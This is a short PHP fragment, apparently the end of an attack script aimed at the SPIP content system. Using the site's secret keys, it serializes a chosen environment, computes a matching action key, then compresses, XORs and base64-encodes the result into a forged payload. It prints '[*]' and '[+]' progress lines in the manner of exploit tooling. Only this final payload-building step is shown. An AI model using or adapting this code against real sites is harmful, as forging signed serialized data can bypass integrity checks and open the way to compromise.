fwrite(STDERR, "[*] Calculation of variable \$cle ..." . "\n");
$datas = serialize($env);
$cle = calculer_cle_action($datas, $user_secret_du_site, $META_SECRET_DU_SITE);
fwrite(STDERR, "[+] Variable \$cle = " . $cle . "\n");
$payload = $cle . ":" . $datas;
echo base64_encode(_xor(gzdeflate($payload), $user_secret_du_site, $META_SECRET_DU_SITE));
?>